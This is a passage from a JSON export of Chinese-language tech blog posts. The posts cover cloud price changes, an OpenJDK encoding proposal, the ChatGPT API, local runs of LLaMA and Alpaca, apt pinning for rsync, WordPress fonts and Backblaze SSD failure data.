    "body": "兩個禮拜前才宣佈改名：「<a href=\"https://blog.gslin.org/archives/2023/02/15/11062/linode-%E6%94%B9%E5%90%8D%E5%8F%AB-akamai-connected-cloud/\">Linode 改名叫 Akamai Connected Cloud</a>」，現在就宣佈漲價了：「<a href=\"https://www.linode.com/blog/linode/akamai_cloud_computing_price_update/\">Akamai’s Cloud Computing Services: Pricing Update</a>」。\r\n\r\n這次最注目的是這個，VPS 的部份漲 20%，只有最低的機種維持 US$5/mo：\r\n\r\n<blockquote>The price of Shared and Dedicated compute plans will increase by 20%. Our shared Nanode plan remains unchanged at US$5 per month.</blockquote>\r\n\r\n降 bandwidth overage cost 只是擺在一起好看而已。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上翻一下，也有不少討論：「<a href=\"https://news.ycombinator.com/item?id=34982647\">Linode increases price of compute plans and more (linode.com)</a>」。\r\n\r\n先不提 AWS 在後面撐著的 <a href=\"https://aws.amazon.com/lightsail/\">AWS Lightsail</a>，這樣看起來 <a href=\"https://www.vultr.com/\">Vultr</a> 愈來愈有競爭性了？",
    "title": "Linode 宣佈漲價 20%"
  },
  {
    "id": "11083",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到提議把 <a href=\"https://en.wikipedia.org/wiki/OpenJDK\">OpenJDK</a> 的程式碼 <a href=\"https://en.wikipedia.org/wiki/UTF-8\">UTF-8</a> 化：「<a href=\"https://news.ycombinator.com/item?id=34976862\">Make JDK source code UTF-8 (openjdk.org)</a>」，原始的 jira ticket 在「<a href=\"https://bugs.openjdk.org/browse/JDK-8301971\">Make JDK source code UTF-8</a>」這邊。\r\n\r\n主要是現在的 source code 沒有統一標準：\r\n\r\n<blockquote>Currently, the source code in the JDK is in an ill-defined encoding. There is no official declaration of the encoding used. It is \"mostly ASCII\", but the relatively few non-ASCII characters used are not well-defined. In many cases, it is latin-1, but I am pretty certain other encodings are used for e.g. Asian translations.</blockquote>\r\n\r\n而 mailing list 上看起來還是有想要維持 <a href=\"https://en.wikipedia.org/wiki/ASCII\">ASCII</a> 的討論：「<a href=\"https://mail.openjdk.org/pipermail/jdk-dev/2023-February/thread.html#7342\">Making the source code utf-8</a>」，不過他提出來的理由我覺得不太行，在 console 跑 <a href=\"https://en.wikipedia.org/wiki/Vi\">vi</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Emacs\">emacs</a> 我覺得不太是個好理由...",
    "title": "提議 OpenJDK 的程式碼 UTF-8 化"
  },
  {
    "id": "11084",
    "body": "<a href=\"https://openai.com/\">OpenAI</a> 公佈了 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 的付費 API 了：「<a href=\"https://openai.com/blog/introducing-chatgpt-and-whisper-apis\">Introducing ChatGPT and Whisper APIs</a>」。\r\n\r\n比較意外的是這次的 model 價錢直接比 <code>text-davinci-003</code> (GPT-3.5) 少了 90%，也就是直接 1/10 的價錢：\r\n\r\n<blockquote>Model: The ChatGPT model family we are releasing today, gpt-3.5-turbo, is the same model used in the ChatGPT product. It is priced at $0.002 per 1k tokens, which is 10x cheaper than our existing GPT-3.5 models. It’s also our best model for many non-chat use cases—we’ve seen early testers migrate from text-davinci-003 to gpt-3.5-turbo with only a small amount of adjustment needed to their prompts.</blockquote>\r\n\r\n看起來基本的架構是相容的，現有的 <code>text-davinci-003</code> 轉到 <code>gpt-3.5-turbo</code> 看起來不用花太多功夫？不過 API 是不同隻，不能直接轉：\r\n\r\n<blockquote>We’ve created a new endpoint to interact with our ChatGPT models[.]</blockquote>\r\n\r\n從 Python bindings 可以看到新的用法：\r\n\r\n<blockquote>import openai\r\n\r\ncompletion = openai.ChatCompletion.create(\r\n  model=\"gpt-3.5-turbo\", \r\n  messages=[{\"role\": \"user\", \"content\": \"Tell the world about the ChatGPT API in the style of a pirate.\"}]\r\n)\r\n\r\nprint(completion)</blockquote>\r\n\r\n這樣就真的就可以想像得到很多 startup 的輪替了...",
    "title": "ChatGPT 提供正式付費的 API"
  },
  {
    "id": "11085",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/03/amazon-documentdb-mongodb-5-0-wire-protocol-client-side-encryption/\">Amazon DocumentDB (with MongoDB compatibility) adds support for MongoDB 5.0 wire protocol and client-side field level encryption</a>」這篇，<a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 推出了 <a href=\"https://www.mongodb.com/\">MongoDB</a> 5.0 的支援。\r\n\r\nMongoDB 5.0 是 2021 年七月的版本，對使用者端比較重要的看起來是 <a href=\"https://en.wikipedia.org/wiki/Personal_data\">PII</a> 處理與 <a href=\"https://en.wikipedia.org/wiki/Time_series_database\">TSDB</a> 的支援。\r\n\r\n比較感興趣的是，TSDB 的部份是繼續用 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 魔改嗎...？",
    "title": "Amazon DocumentDB 支援 MongoDB 5.0 協定"
  },
  {
    "id": "11089",
    "body": "<a href=\"https://kagi.com/\">Kagi</a> 在 2022 年九月的時候漲過一次：「<a href=\"https://blog.gslin.org/archives/2022/09/02/10873/kagi-%E5%85%AC%E4%BD%88%E4%BA%86%E6%94%B6%E8%B2%BB%E4%B8%89%E5%80%8B%E6%9C%88%E5%BE%8C%E7%9A%84%E9%80%B2%E5%B1%95/\">Kagi 公佈了收費三個月後的進展</a>」，當時的漲法是把本來不限次數搜尋的方案從 $10/mo 漲到 $19/mo，並且取名叫做 Kagi Unlimited。\r\n\r\n這次則是宣佈要在 3/15 把無限搜尋的方案漲到 $25/mo：\r\n\r\n<blockquote>We are also introducing the Ultimate plan with unlimited searches for $25/month.</blockquote>\r\n\r\n而且本來的用戶 (應該是包括最早期的 $10/mo 與後來的 $19/mo 方案) 都會被強制改到 $25/mo：\r\n\r\n<blockquote>Every existing subscriber will have their current subscription honored until expiration. That means if you are a subscriber at the time of the new plan rollout, you will still get unlimited searches as a part of your original plan until your existing subscription expires or is set to renew.</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=35078392\">Update to Kagi Search Pricing (kagi.com)</a>」可以看到很多人都注意到 Kagi 想要投入 AI 的問題：\r\n\r\n<blockquote>This is so incredibly disappointing and basically confirms that we're (at least in part) paying for their AI experiments - something that I personally am not at all interested in.</blockquote>\r\n\r\n這次漲價然後把錢拿去投入 AI？而且看起來整個 Kagi 不是自己掌握 machine learning 技術，是用其他人的 API (應該就是 <a href=\"https://openai.com/\">OpenAI</a>)。這鐵定是一堆人不買單...\r\n\r\n月底要 renew 的時候再來看看吧...",
    "title": "Kagi 再次漲價"
  },
  {
    "id": "11090",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/ruby/ruby/pull/7448\">RJIT #7448</a>」這個，<a href=\"https://www.ruby-lang.org/\">Ruby</a> 上一套新的 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 實做。\r\n\r\n這次的 RJIT 取代掉先前的 MJIT：\r\n\r\n<blockquote>This PR replaces the current implementation of MJIT with a new JIT called \"RJIT\"</blockquote>\r\n\r\n有些特點，其中一個是 RJIT 在 buildtime 與 runtime 都不需要 compiler，這是因為 RJIT 直接用 Ruby 實做：\r\n\r\n<blockquote>RJIT uses a pure-Ruby assembler to generate native code\r\n<ul>\r\n\t<li>MJIT requires a C compiler at runtime. YJIT requires a Rust compiler at build time. RJIT doesn't require them.</li>\r\n\t<li>This means that RJIT's warmup could be slower than YJIT, but it's still much faster than MJIT's.</li>\r\n</ul>\r\n</blockquote>\r\n\r\n另外值得注意的是，RJIT 的作者 <a href=\"https://github.com/k0kubun\">k0kubun</a> 跟 <a href=\"https://github.com/Shopify/yjit\">YJIT</a> 的作者 <a href=\"https://pointersgonewild.com/\">Maxime Chevalier-Boisvert</a> 都是 <a href=\"https://www.shopify.com/\">Shopify</a> 的員工，可以看出 Shopify 對於 Ruby 效能的痛？決定直接自己養人改善效能。\r\n\r\n回到 RJIT 這邊跑的測試，可以看到他是用 YJIT 的測試套件測，這也就不會太奇怪了。\r\n\r\n跟這次取代掉的 MJIT 相比，RJIT 在 Headline 這包測試都 OK，在 Other 這包則是有來有回，而在 Micro 這包則是有不少項目輸掉 (相比於前兩者)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gQzOZ2t.webp\" /><img src=\"https://i.gslin.com/imgur/gQzOZ2t.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SOiEiov.webp\" /><img src=\"https://i.gslin.com/imgur/SOiEiov.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DOiH6Q1.webp\" /><img src=\"https://i.gslin.com/imgur/DOiH6Q1.png\" alt=\"\" /></picture>\r\n\r\n這樣整體看起來算是有進步，下一版 Ruby 更新應該就會有了。",
    "title": "Ruby 再引入另外一套 JIT 實做：RJIT"
  },
  {
    "id": "11091",
    "body": "看到 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上面的消息才知道被並夠了：「<a href=\"https://news.ycombinator.com/item?id=35080777\">Domain registrar Gandi gets bought out, removes free mailboxes (afront.org)</a>」。翻了維基百科後看到「<a href=\"https://your.online/press-release/\">Gandi &amp; TWS Join Forces to Form Your.Online</a>」這篇新聞稿。\r\n\r\n<a href=\"https://www.tws.eu/\">Total Webhosting Solutions</a> 這家公司可以從 <a href=\"https://www.crunchbase.com/\">Crunchbase</a> 查到是 2017 成立的：「<a href=\"https://www.crunchbase.com/organization/total-webhosting-solutions\">Total Webhosting Solutions - Crunchbase Company Profile &amp; Funding</a>」，另外找了一下新聞，會發現這家公司在 2020 年的時候買了一堆公司，然後 2021 年沈寂了一陣子，又在 2022 年開始買：「<a href=\"https://hostingjournalist.com/tag/total-webhosting-solutions/\">Total Webhosting Solutions Archives - Hosting Journalist.com</a>」。\r\n\r\n還看不太懂這家公司在搞什麼...",
    "title": "Gandi 被併購"
  },
  {
    "id": "11092",
    "body": "<a href=\"https://ubuntu.com/\">Ubuntu</a> 20.04 的 <a href=\"https://rsync.samba.org/\">rsync</a> 內建只有 3.1.3 (參考「<a href=\"https://packages.ubuntu.com/search?keywords=rsync\">Ubuntu – Package Search Results -- rsync</a>」這邊)，但 <code>--mkpath</code> 這個參數需要 3.2.3+ 才能跑：「<a href=\"https://stackoverflow.com/questions/1636889/how-can-i-configure-rsync-to-create-target-directory-on-remote-server/65435579#65435579\">How can I configure rsync to create target directory on remote server?</a>」，所以就要找 <a href=\"https://help.ubuntu.com/community/PPA\">PPA</a> 看看有沒有人有包新版的可以用。\r\n\r\n在「<a href=\"https://launchpad.net/~savoury1/+archive/ubuntu/utilities\">Utilities - various (Xenial &amp; newer)</a>」這邊可以看到 Rob Savoury 有包，但發現這包有一堆軟體，我不想要裝這麼多，所以就用 <a href=\"https://help.ubuntu.com/community/PinningHowto\">Pinning</a> 限制。\r\n\r\n用 <code>apt-cache policy</code> 可以看到 <code>o=</code> 的值，然後就可以在 <code>/etc/apt/preferences.d/savoury1-utilities</code> 裡設定 rsync 的 <code>Pin-Priority</code> 是 <code>1001</code>，而其他的都掛到 <code>-1</code>。\r\n\r\n<pre>Package: *\r\nPin: release o=LP-PPA-savoury1-utilities\r\nPin-Priority: -1\r\n\r\nPackage: rsync\r\nPin: release o=LP-PPA-savoury1-utilities\r\nPin-Priority: 1001</pre>\r\n\r\n但跑 <code>apt upgrade</code> 沒看到可以升級，而直接 <code>apt install rsync</code> 的時候可以看到是因為 <code>libxxhash0</code> 跟不上新版而產生錯誤訊息：\r\n\r\n<pre>The following packages have unmet dependencies:\r\n rsync : Depends: libxxhash0 (&gt;= 0.8.0) but 0.7.3-1 is to be installed\r\nE: Unable to correct problems, you have held broken packages.</pre>\r\n\r\n所以一起加進去變成：\r\n\r\n<pre>Package: *\r\nPin: release o=LP-PPA-savoury1-utilities\r\nPin-Priority: -1\r\n\r\nPackage: libxxhash0 rsync\r\nPin: release o=LP-PPA-savoury1-utilities\r\nPin-Priority: 1001</pre>\r\n\r\n然後就可以 <code>apt upgrade</code> 升級上去了。",
    "title": "在 PPA 裡面只安裝特定軟體的方式"
  },
  {
    "id": "11093",
    "body": "新版 <a href=\"https://wordpress.org/\">WordPress</a> 的預設佈景主體 (Theme) 出於隱私考量，將不會使用 <a href=\"https://fonts.google.com/\">Google Fonts</a>：「<a href=\"https://make.wordpress.org/core/2023/03/06/google-fonts-are-included-locally-in-bundled-themes/\">Google Fonts are included locally in bundled themes</a>」。\r\n\r\n這邊講的是年份系列的 Theme，從 <a href=\"https://wordpress.org/themes/twentytwelve/\">Twenty Twelve</a> (2012) 到 <a href=\"https://wordpress.org/themes/twentyseventeen/\">Twenty Seventeen</a> (2017)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aBjuK8g.webp\" /><img src=\"https://i.gslin.com/imgur/aBjuK8g.png\" alt=\"\" /></picture>\r\n\r\n再更後新的版本，首先是沒有 Twelve Eighteen (2018) (可以從「<a href=\"https://wordpress.org/themes/author/wordpressdotorg/\">Themes by WordPress.org &#124; WordPress.org</a>」這邊翻)，而從 <a href=\"https://wordpress.org/themes/twentynineteen/\">Twelve Nineteen</a> (2019) 後都沒有使用 Google Fonts 了，在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/WordPress/twentynineteen\">WordPress/twentynineteen</a> 這邊可以 clone 下來確認：\r\n\r\n<pre>$ git grep google    \r\nclasses/class-twentynineteen-svg-icons.php:         'google-plus' =&gt; array(\r\nclasses/class-twentynineteen-svg-icons.php:                 'plus.google.com',\r\nclasses/class-twentynineteen-svg-icons.php:         'google-plus' =&gt; '\r\nclasses/class-twentynineteen-svg-icons.php:         'google'      =&gt; '</pre>\r\n\r\n官方還是有給繼續使用 Google Fonts 的方法，在「Continuing to use Google Fonts」這段有提到設定的方式。",
    "title": "新版 WordPress 預設的佈景主體將不會使用 Google Fonts"
  },
  {
    "id": "11095",
    "body": "在 <a href=\"https://www.macrumors.com/\">MacRumors</a> 上面看到 <a href=\"https://www.google.com/\">Google</a> 提供 <a href=\"https://en.wikipedia.org/wiki/Virtual_private_network\">VPN</a> 服務給所有付費的 <a href=\"https://one.google.com/\">Google One</a> 使用者使用：「<a href=\"https://www.macrumors.com/2023/03/08/google-one-vpn-expansion/\">All Paid Google One Subscribers Now Get VPN Access</a>」。而 Google 的公告在這裡：「<a href=\"https://blog.google/products/google-one/new-security-features-for-all-google-one-plans/\">New security features for all Google One plans</a>」。\r\n\r\n主打隱私性，避免被追蹤 IP 位置之類的：\r\n\r\n<blockquote>VPN by Google One adds more protection to your internet activity no matter what apps or browsers you use, shielding it from hackers or network operators by masking your IP address. Without a VPN, the sites and apps you visit could use your IP address to track your activity or determine your location.</blockquote>\r\n\r\n看到這則留言，很貼切 XDDD\r\n\r\n<blockquote>Google running a VPN is like McDonalds running an exercise gym.</blockquote>\r\n\r\n不了謝謝 XDDD",
    "title": "Google One 的使用者都有 VPN 服務可以用了...？"
  },
  {
    "id": "11098",
    "body": "很多地方應該都有提到 <a href=\"https://research.facebook.com/\">Facebook Research</a> (<a href=\"https://meta.com/\">Meta</a>) 放出來的 <a href=\"https://github.com/facebookresearch/llama\">LLaMA</a> 了，對應的論文是「<a href=\"https://arxiv.org/abs/2302.13971\">LLaMA: Open and Efficient Foundation Language Models</a>」這篇，但這邊論文提到的 open 並不是一般常見的 open 定義，而只是常見的行銷詞彙而已，實際上只是 free for charging with constraints。\r\n\r\n另外要注意 LLaMA 是個 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 而已，跟 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 不算是同樣性質的東西，能對比應該是 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a> (或是 GPT-3.5)。\r\n\r\n主要是 ChatGPT 多了 <a href=\"https://en.wikipedia.org/wiki/Supervised_learning\">SL</a> 與 <a href=\"https://en.wikipedia.org/wiki/Reinforcement_learning\">RL</a> 的步驟，而產出來的東西更接近商業化產品要的結果。\r\n\r\nLLaMA 的特點在於效能不錯，可以用 LLaMA-13B 打贏 GPT-3 (175B)，另外這次訓練出來最大的 LLaMA-65B 則可以站上第一梯隊 (與 <a href=\"https://www.deepmind.com/\">DeepMind</a> 的 <a href=\"https://arxiv.org/abs/2203.15556\">Chinchilla-70B</a> 與 <a href=\"https://research.google/\">Google Research</a> 的 <a href=\"https://arxiv.org/abs/2204.02311\">PaLM-540B</a>)：\r\n\r\n<blockquote>LLaMA-13B outperforms GPT-3 (175B) on most benchmarks, and LLaMA-65B is competitive with the best models, Chinchilla-70B and PaLM-540B.</blockquote>\r\n\r\n但跟以前差異最大的是，這次 Facebook Research 決定把訓練完後的 model 檔案放出來，所以就有了後續很多的進展：\r\n\r\n<blockquote>We release all our models to the research community.</blockquote>\r\n\r\n首先一開始 Facebook Research 要求使用者填表單才提供下載 (2/24 的時候)，但三月初的時候 <a href=\"https://github.com/\">GitHub</a> 上有人直接把 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 的 <a href=\"https://en.wikipedia.org/wiki/Magnet_URI_scheme\">magnet</a> 連結附上去，送了一個 pull request：「<a href=\"https://github.com/facebookresearch/llama/pull/73\">Save bandwidth by using a torrent to distribute more efficiently #73</a>」，所以你就有「方法」可以取得 model 檔案，但還是可以注意一下使用限制：\r\n\r\n<blockquote>To maintain integrity and prevent misuse, we are releasing our model under a noncommercial license focused on research use cases. Access to the model will be granted on a case-by-case basis to academic researchers; those affiliated with organizations in government, civil society, and academia; and industry research laboratories around the world. People interested in applying for access can find the link to the application in our research paper.</blockquote>\r\n\r\n除了可以透過 BitTorrent 下載外，comment 裡面也有 <a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\">IPFS</a> 的連結可以下載。\r\n\r\n有需要下載這包檔案的人要注意檔案很大，大約 240GB，其中 65B model 佔了 128GB 左右。\r\n\r\n被放出來以後就開始有很多人在上面包起來用，其中目前比較完整的應該是「<a href=\"https://til.simonwillison.net/llms/llama-7b-m2\">Running LLaMA 7B and 13B on a 64GB M2 MacBook Pro with llama.cpp</a>」這篇提到的方法，裡面提到的 <a href=\"https://github.com/ggerganov/llama.cpp\">ggerganov/llama.cpp</a> 專案同時支援了 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a>、<a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 與 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>，而且可以用 CPU 跑，速度也不慢。\r\n\r\n試著用 llama.cpp 跑，65B 的 model 在家裡桌機有 64GB RAM 的情況下是可以應硬扛的，跑降到 4bits 的 model 大約吃 41GB RAM 左右。\r\n\r\n比較驚訝的是 efficient 這個部份，拿 CPU 跑 65B 版本是跑得動的。\r\n\r\n隨便丟個「文字接龍」進去 LLaMA-65B 讓他接，可以看到接出來的東西還可以：\r\n\r\n<blockquote>main: prompt: 'The main difference between javascript and java are '\r\nmain: number of tokens in prompt = 10\r\n[...]\r\n\r\nThe main difference between javascript and java are 1)Java is a compiled language while JavaScript\r\n is not. So that the performance of Javascript code can be lower than Java Code, but they run on different platforms: browser vs server or local machine;\r\n2)'javac' to compile .java file to bytecode(for JVM), and 'jar'(to make executable jar files for client systems).\r\n3)Java uses more memory (RAM) that javascript. So the Javascript code is generally small than Java\r\n codes.(A web application written in JavaScript may run faster on a PC with 64 MB of RAM compared to one running using applets.) While an advantage offered by J</blockquote>\r\n\r\n如果是 LLaMA-7B 的話會快很多，但回答就有點微妙了：\r\n\r\n<blockquote>main: prompt: 'The main difference between javascript and java are '\r\nmain: number of tokens in prompt = 10\r\n[...]\r\n\r\nThe main difference between javascript and java are 1) Javascript is interpreted, while Java compiles to native machine code. (Compiled languages have a performance advantage over Interpreted ones\r\n.)\r\n2) The language standardization process for JavaScript has not been completed at the time of this writing which leaves it open to being hacked or changed by those who care enough about your website to do so... In Java, everything is set in stone. (Or at least as much code that can be shipped on a CD-ROM disk)\r\nSorry if my response was not clear - but you're right! I think that \"2\" above should really have said: \"(</blockquote>\r\n\r\n訓練所花的資源的部份，可以從論文裡面看到，如果是 2048 張 <a href=\"https://en.wikipedia.org/wiki/Ampere_(microarchitecture)\">A100</a> 的話大約要跑五個月 (照這個語氣，實際上大概不是這個數字)：\r\n\r\n<blockquote>Finally, we estimate that we used 2048 A100-80GB for a period of approximately 5 months to develop our models.</blockquote>\r\n\r\n另外也有列出 GPU hours 可以參考：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VGkgNvJ.webp\" /><img src=\"https://i.gslin.com/imgur/VGkgNvJ.png\" alt=\"\" /></picture>",
    "title": "玩最近 Facebook Research (Meta) 放出來的 LLaMA"
  },
  {
    "id": "11100",
    "body": "看到「<a href=\"https://github.com/awslabs/mountpoint-s3\">Mountpoint for Amazon S3</a>」這個專案，<a href=\"https://aws.amazon.com/\">AWS</a> 自己推出了自己的 Amazon S3 FUSE 套件。Hacker News 上也有一些討論：「<a href=\"https://news.ycombinator.com/item?id=35155944\">Mountpoint – file client for S3 written in Rust, from AWS (github.com/awslabs)</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的價錢比其他 AWS 提供的 storage 都便宜不少。以美東第一區 <code>us-east-1</code> 來說，S3 是 $0.023/GB，而 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> (gp3) 要 $0.08/GB，即使是 EBS (st1) 也要 $0.045/GB。\r\n\r\nS3 相較於 EBS 來說，多了 API call 的費用，所以對於不會產生大量 API call 的應用來說 (像是常常會寫很大包的資料到檔案裡)，透過 <a href=\"https://en.wikipedia.org/wiki/Filesystem_in_Userspace\">FUSE</a> 操作 Amazon S3 可以讓現有的套裝軟體或是程式直接跑上去。\r\n\r\n另外一個常見的應用是讓套裝軟體或是現成的程式可以讀取 S3 的資料。\r\n\r\n之前這類應用馬上會想到的專案是 <a href=\"https://github.com/s3fs-fuse/s3fs-fuse\">s3fs-fuse</a>，這個專案很久了，大家也都知道多人寫入的部份會是痛點。\r\n\r\n這次 AWS 自己出來做的事情有點重工，看起來他想做的事情 s3fs-fuse 都解的差不多了，目前看起來唯一的賣點應該只有 <a href=\"https://www.rust-lang.org/\">Rust</a>-based，但 s3fs-fuse 主要是 <a href=\"https://en.wikipedia.org/wiki/C++\">C++</a>，其實也沒差到哪裡：\r\n\r\n<blockquote>Mountpoint for Amazon S3 is optimized for read-heavy workloads that need high throughput. It intentionally does not implement the full POSIX specification for file systems.</blockquote>\r\n\r\n目前專案還是 alpha release，不確定專案的方向到底是什麼...",
    "title": "AWS 官方推出了自己的 Amazon S3 FUSE 套件"
  },
  {
    "id": "11101",
    "body": "先前提到的「<a href=\"https://blog.gslin.org/archives/2023/03/16/11098/%e7%8e%a9%e6%9c%80%e8%bf%91-facebook-research-meta-%e6%94%be%e5%87%ba%e4%be%86%e7%9a%84-llama/\">玩最近 Facebook Research (Meta) 放出來的 LLaMA</a>」，在 2/24 公佈後，過沒多久 <a href=\"https://www.stanford.edu/\">Stanford</a> <a href=\"https://crfm.stanford.edu/\">CRFM</a> 團隊就丟出 fine-tuned 過的版本：「<a href=\"https://crfm.stanford.edu/2023/03/13/alpaca.html\">Alpaca: A Strong, Replicable Instruction-Following Model</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=35136624\">Alpaca: A strong open-source instruction-following model (stanford.edu)</a>」。\r\n\r\n這個 tuning 是基於 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a>-7B：\r\n\r\n<blockquote>We are releasing our findings about an instruction-following language model, dubbed Alpaca, which is fine-tuned from Meta’s LLaMA 7B model. We train the Alpaca model on 52K instruction-following demonstrations generated in the style of self-instruct using text-davinci-003. On the self-instruct evaluation set, Alpaca shows many behaviors similar to OpenAI’s text-davinci-003, but is also surprisingly small and easy/cheap to reproduce.</blockquote>\r\n\r\n後來就再被包成一個專案 (改自 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a>)，讓大家可以很方便的跑：「<a href=\"https://github.com/antimatter15/alpaca.cpp\">Alpaca.cpp</a>」。\r\n\r\n剛好可以比較，用 llama.cpp 跑的話是：\r\n\r\n<pre>$ ./main -m ./models/7B/ggml-model-q4_0.bin -t 12 -n 128 -p 'Explain FAANG. '\r\n\r\nExplain FAANG. ?\r\nThe acronym “FAAN” is used for the five tech giants (Facebook, Apple, Amazon and Netflix) that are\r\n taking over our lives:\r\n15 November 2018 / by Amaraksha S [end of text]</pre>\r\n\r\n而用 alpaca.cpp 跑的話回答品質好不少：\r\n\r\n<pre>&gt; Explain FAANG.\r\nFAANG (or FANNG) refers to five technology companies, Facebook Inc., Apple Inc., Amazon.com Inc., Netflix Inc and Alphabet's Google division that have become some of the most influential in recent years due to their rapid growth rates as well as their market capitalization values: \r\nFacebook (FB), $596 billion; Apple (AAPL) ,$1,084.72 billion; Amazon (AMZN), $394.5 billion ; Netflix( NFLX ), $154.8 billion and Google's parent company Alphabet Inc., ($GOOG,$GOOGL).\r\nThese companies have become some of the most influential in recent years due to their rapid growth rates as well as their market capitalization values:  Facebook (FB),$307.15 billion; Apple(AAPL) , $924.86 billion ; Amazon (AMZN ), $783.</pre>\r\n\r\n可以看到 instruction-following 後的差異，很像是 <a href=\"https://en.wikipedia.org/wiki/GPT-3.5\">GPT-3.5</a> API 與 ChatGPT API 的輸出結果差異。\r\n\r\n而這只是 LLaMA-7B 的成果，好像可以期待有人對 LLaMA-65B 做些事情？",
    "title": "Stanford Alpaca 與 Alpaca.cpp"
  },
  {
    "id": "11102",
    "body": "前幾天在<a href=\"https://www.plurk.com/\">噗浪</a>的偷偷說上看到有人提到 <a href=\"https://npmtrends.com/\">npmtrends</a> 上的 <a href=\"https://github.com/redis/node-redis\">redis</a> (官方的) 與 <a href=\"https://github.com/luin/ioredis\">ioredis</a>：「<a href=\"https://www.plurk.com/p/p6wdc9\">https://www.plurk.com/p/p6wdc9</a>」。\r\n\r\n意外發現以下載量來看，ioredis 已經超越官方的 redis 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AjryqNI.webp\" /><img src=\"https://i.gslin.com/imgur/AjryqNI.png\" alt=\"\" /></picture>\r\n\r\n找了一下差異，看起來的確有些團隊在 loading 很高的情況下會考慮用 ioredis 取代 redis：「<a href=\"https://ably.com/blog/migrating-from-node-redis-to-ioredis\">Migrating from Node Redis to Ioredis: a slightly bumpy but faster road</a>」。\r\n\r\n但沒有特別需求的話應該還是會用官方版本？",
    "title": "npm 裡的 redis 與 ioredis"
  },
  {
    "id": "11103",
    "body": "一開始是看到「<a href=\"https://news.ycombinator.com/item?id=35150345\">Show HN: Modern Font Stacks – New system font stack CSS for modern OSs (modernfontstacks.com)</a>」這個，專案希望可以使用不用另外下載的字型 (系統內建字型)，但這個網站本身不好用，留言區提到的一些其他網站好用多了...\r\n\r\n首先是「<a href=\"https://www.cssfontstack.com/\">CSS Font Stack: Web Safe and Web Font Family with HTML and CSS code.</a>」這個，把 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 與 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 上預設的字型都列出來，然後也列出對應的安裝比率。\r\n\r\n而另外一個則是在 <a href=\"https://github.com/\">GitHub</a> 上的專案「<a href=\"https://github.com/system-fonts/modern-font-stacks\">Modern Font Stacks</a>」，把類似的字型放在一起。\r\n\r\n看起來可以參考，比起只用 <code>serif</code> 或是 <code>sans-serif</code> 來說會多一些變化可以用。",
    "title": "在 CSS 裡面使用系統字型的選擇"
  },
  {
    "id": "11104",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 整理了 SSD failure rate 的資料：「<a href=\"https://www.backblaze.com/blog/ssd-edition-2022-drive-stats-review/\">The SSD Edition: 2022 Drive Stats Review</a>」，裡面比較有興趣的是歷史資料這部份：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eck90wx.webp\" /><img src=\"https://i.gslin.com/imgur/eck90wx.jpg\" alt=\"\" /></picture>\r\n\r\nSSD 用在系統碟的關係，數量沒像 HDD 那麼多，所以有些信心區間的值會差異很大。\r\n\r\n裡面比較亮眼的是 DELLBOSS VD，用的數量不算少，而且看平均使用時間應該是比 MX500 多了一倍多，但都還沒有掛掉的記錄，所以 failure rate 就算是信心區間的上限值都還是很漂亮。\r\n\r\n然後用最多得是 <a href=\"https://www.seagate.com/\">Seagate</a> 的 SSD，平均使用時間又比 <a href=\"https://www.dell.com/\">Dell</a> 那批更長了。",
    "title": "Backblaze 的 SSD failure rate 資料"
  },
  {
    "id": "11106",
